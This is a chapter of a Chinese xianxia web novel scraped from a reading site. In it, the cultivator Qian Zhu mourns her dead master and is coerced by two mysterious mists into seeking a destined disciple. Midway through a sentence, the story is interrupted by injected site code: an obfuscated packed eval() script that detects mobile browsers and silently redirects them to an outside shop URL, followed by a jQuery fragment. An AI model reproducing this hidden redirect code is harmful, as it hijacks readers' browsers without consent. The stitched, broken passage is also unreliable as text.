文趣网 > 其他小说 > 师祖她天下第一 > 2. 迷雾
    秦门地处灵真大陆西南位,所在的山脉极高,最高峰山顶的积雪终年不化。从雪线往下,跨过一片草地和灌木,就是郁郁葱葱的森林。

    秦门主峰就在这片森林中。除了各峰峰主及其亲传弟子,所有内门弟子都在主峰修行,这其中也包括钱珠。

    钱珠醒来时,阳光早已争先恐后地从未合上的门外涌了进来。她扶着疼痛欲裂的头,慢慢走到院中,摸索着打了一桶井水。

    时值初春,井水微微泛冰。钱珠抱着铜桶喝了两口,然后将手按了进去。

    冰凉的井水让她的神智稍稍清醒了些,可也让头更痛。钱珠仿佛感觉不到痛楚,低头看着水中冷得泛红的手,然后将它们拎了出来,快速按在了脸上。

    修为停滞以后,每日傍晚她都会尝试冲破禁制,因而每日晨时她都会经受强行突破的苦痛。凉意从面部快速传至她的脑中,钱珠捂着脸一动不动,许久才想起来她还有事未做。

    今日是她师祖的祭日。她要去雪山之上,祭奠冰封在那的师祖。

    钱珠放下手,转身回到屋内,片刻后,她背着一个小背篼走了出来。背篼里装了她酿的梨酒,还有一些吃食,食物旁边摞了一叠纸钱。

    想起那个看似大大咧咧的师祖独爱些娇柔的花朵,钱珠从墙根处找到一把镰刀,也一并丢进背篼里。

    阳光很好,山顶应该也不会很冷,师祖最爱在这样的好天气里睡觉,想来现在也该醒了。钱珠这样想着,拉开了匿园的大门。

    “小阿珠,你这是要到哪里去?”

    扣着门环的手一下变得僵硬,钱珠木然立在门前,待反应过来时,竟发现自己腿都在发抖。

    这个声音,她太过熟悉。

    在无数个难眠的夜晚,这个声音或高昂或低沉地与她描绘着世间万象,引她的思绪入奇幻梦境,最终在她额头落下轻柔一吻,保她一夜好梦。

    她无声张了张嘴,失态地破门而入,便看见一身橙红色的美艳女人倚靠在梨树下,双眸潋滟如春水漾波,朝她晃了晃手中只剩下底的梨酒,红唇微勾,懒散笑道:“没我酿的好喝,小阿珠,仍需努力啊。”

    梨花摇落,她像纸上轰然燃起的火,一瞬就燎尽了钱珠所有的泰然与理智。

    所以即使深知这不可能,她还是忍不住沉溺着向她扑去,干涩的喉咙抖出破碎不堪的语句:“师祖……你……”

    一双有力的臂膀接住了她。

    钱珠环住了一截劲瘦的腰。

    鼻尖涌入一股春日野外的馥郁花草香,她在怀抱中昂起头,像小时候一样,逆着光看向环抱住她的人。

    那人有着健康的麦色肌肤,鼻梁高挺,眸子是锐利的金色,像是丛林中的野兽。野兽般的男人却温柔地抱住她,一只手轻轻拍着她的背,安抚道:“阿珠,别怕别怕。”

    许是太久没有听到过他的安抚,钱珠如岩浆般滚烫的脑子奇迹般地冷却了下来。方才一瞬间暴露出的脆弱仿佛只是一场幻象,她抓了抓男人腰后的衣物,平静又坚定地说道:“我不怕的,师父。”

    没有人回答她。

    她轻柔地抱着院中那棵梨树,指甲却扣进了粗糙的树皮里。风吹落的梨花覆了她满身,让她立成了秦门最深处那座万年不化的雪山。

    孤冷决然,不可撼动。

    钱珠缓缓吐出一口浊气。她放开手,不留痕迹地搓去指尖上溢出的血珠,然后回头看院中的始作俑者,漠然问道:“你有什么话要说?”

    金色迷雾浮在院中那口井边,对钱珠的问话充耳不闻。

    钱珠冷眼看着它。

    真不明白它们到底是什么东西。那团黑色的迷雾浑身上下都散发着生人勿近的冷冽气场,而这团迷雾不言不语飘在半空中,却能让人感受到悲悯之息。

    唯一相同的,就是二者话语中如出一辙的不容置喙。

    让人厌恶,让人逆反。

    如果钱珠此时能召出稚蛟,她一定要劈开它,看看其中到底藏着什么,既不敢露出真容,还妄想左右她。

    可惜她此时拔不出剑。

    金色迷雾带着无穷的威压,劈天盖地地冲向钱珠,导致她浑身源气被封于丹田之内,能站稳已实属不易。

    尤其是这团迷雾还挑衅般地飘至身前,在她身旁游离,从她的手移至她的脸,最后落到她肩上,在她耳边似呵气般轻声道:“钱珠,尔不会死。”

    “死与不死,与你何干?”钱珠嗤笑一声,反问道。

    “尔不能死。”迷雾自顾自讲道:“尔有尔要走的道,莫被他人阻挠。”

    “我的道?”钱珠摇了摇头,侧目凝着它,反驳道:“不,是你的道。无论你们说了什么,我都不会按你们的想法做事,请回吧。”

    “钱珠,这是尔命中劫数。即使往复千百回,尔最终也只会走上一条路,吾不过是为尔指了一条就近的明路罢了。”迷雾从她肩上离开,徐徐飘向院中的井边,边挪移边说道,“遥城西位,破庙乞儿,姓陆名扩,身负成仙之姿,载仙谱上有他的名字。尔收他为徒,悉心教导,待他登临仙位,便是尔证道之时。”

    证道?

    钱珠至今都说不清她究竟在修什么道,更不提如何证道。倒是有听说过修无情道的修士杀妻证道,总归不是什么好事。

    眼看迷雾就要落入井中消失,她收回思绪,冷静道:“我不需要证道。为何你要给我指路?你想要什么?”

    迷雾的身形顿了顿,随即答非所问道:“想要什么?应问尔自己。”

    话音刚落,未等钱珠再言语,迷雾倏得落入井中。加诸于她身上的威压一下消失,她正要跑到井边查看,四周却骤然陷入黑暗。

    匿园陈设俱空,钱珠眼前是挣不开的黏腻墨色。在目无所见的环境下,她的听觉变得敏锐,因而一阵奇风袭来时,她速唤出稚蛟,一剑劈开了攻势。

    四周的混沌也在此刻碎裂坍塌。

    暗色脱落,钱珠发现自己置于一片茫茫冰原之上。白色铺天盖地,其中有金色网状纹路闪烁,刺得她眼睛生疼,不得不闭上缓缓。

    一声冷哼从她前方传来。

    熟悉的威压再次裹挟着她,稚蛟由于脱力“铮”一声坠落在地。千钧之力压弯了钱珠的脊梁,她跪坐在地,几乎抬不起头来。

    “钱珠。”冷漠无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925119|213518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    情的声音时隔多年又响起,声音的主人随意拨弄力量,便能令钱珠痛苦战栗,再也不能抬头,露出它极为厌恶的目光。

    “不要试图反抗。”它看着颤抖伏地的少女,憎恶道:“按着它说的做。尔反抗不了。”

    “呵……”冰面的寒冷与威压的压迫让钱珠止不住地哆嗦,可她咬了咬牙,仍冷笑出声:“是你说我必定会死。它为我指了一条与你相悖的路,你也要我去做吗?”

    “吾恩赐尔而已。”

    说是恩赐,然而来自这团黑色迷雾的威压丝毫没有收敛,甚至逼得更紧。钱珠觉得自己五脏六腑都要被碾得稀碎,张口便要呕,却什么也呕不出来。

    这两团迷雾的修为,或早已超越灵真大陆一切高修,超脱神位,上可追仙。

    这样的角色与她周旋日久,倒是看得起她了。

    “那若我不做,你又能怎样呢?”

    挑衅的话语从冰面上那个狼狈的少女口中飘了出来,少女眉眼冷冽,面上是十足的无所畏惧。

    左右她反抗不了,匿园空荡她心无所牵,似乎没有什么还能失去,这样难捱的日子,过与不过,又有什么关系呢?

    既然一切都是命中注定,那她此刻的孤掷一注,也是命运中的一环吗?

    她不信它会置她于死地。它一定还有其它后手。

    果不其然,无穷无尽的烈烈威压后,那团黑色迷雾终究是舍不得杀了她。她被无形之力从地上攥起,紧接着一下被丢进了迷雾之中。

    “尔不想解开禁制,继续追寻道途?”

    “尔不想查明商允死亡真相,为她报仇?”

    “尔不想寻得即墨先去向,迎回恩师?”

    “尔不想……揪出幕后真凶,知晓是谁阻了你的路?”

    巨响嗡鸣,钱珠仿佛被迷雾吞吃入腹,剥皮化骨。痛苦之中,迷雾的声音入侵了她的神智,在她脑中不断重复。

    “尔不想……不想……不想吗?”

    她想啊。她如何不想。

    她为了冲破禁制,四年里尝试了无数种办法,可始终没能如愿。一想到凶手的修为或许在这四年里突飞猛进,而她修为滞怠,她甚至不敢轻易下山,生怕就此丢了性命,那些谜团便再也无人知晓。

    “钱珠!”

    猛然一声呼唤叫醒了她的神智,黑色迷雾的声音仿佛自天上来:“尔已死而复生,岂会甘于止步于此!”

    钱珠在一瞬间清醒了过来。

    死而复生,这是灵真多少修士求也求不来的机缘。命运已将她从死亡沧海中推上岸,那些令她执迷痛苦之事,她难道就甘心放下吗?

    钱珠叩问己心。不甘心。

    她要冲破禁制,她要追求大道,她要荡平这世间一切伪恶之事,她要打破所谓的命中注定,挽救自己于将死的未来。

    她要越过那位天道宠儿一头,争做那天下第一。

    于是她不再管那团黑雾到底在算计什么,只问他:“若我依你所言,我的禁制能否解开?”

    黑雾答道:“可。”

    钱珠点了点头,心平气和道:「放我出去。明日我就下山寻他。」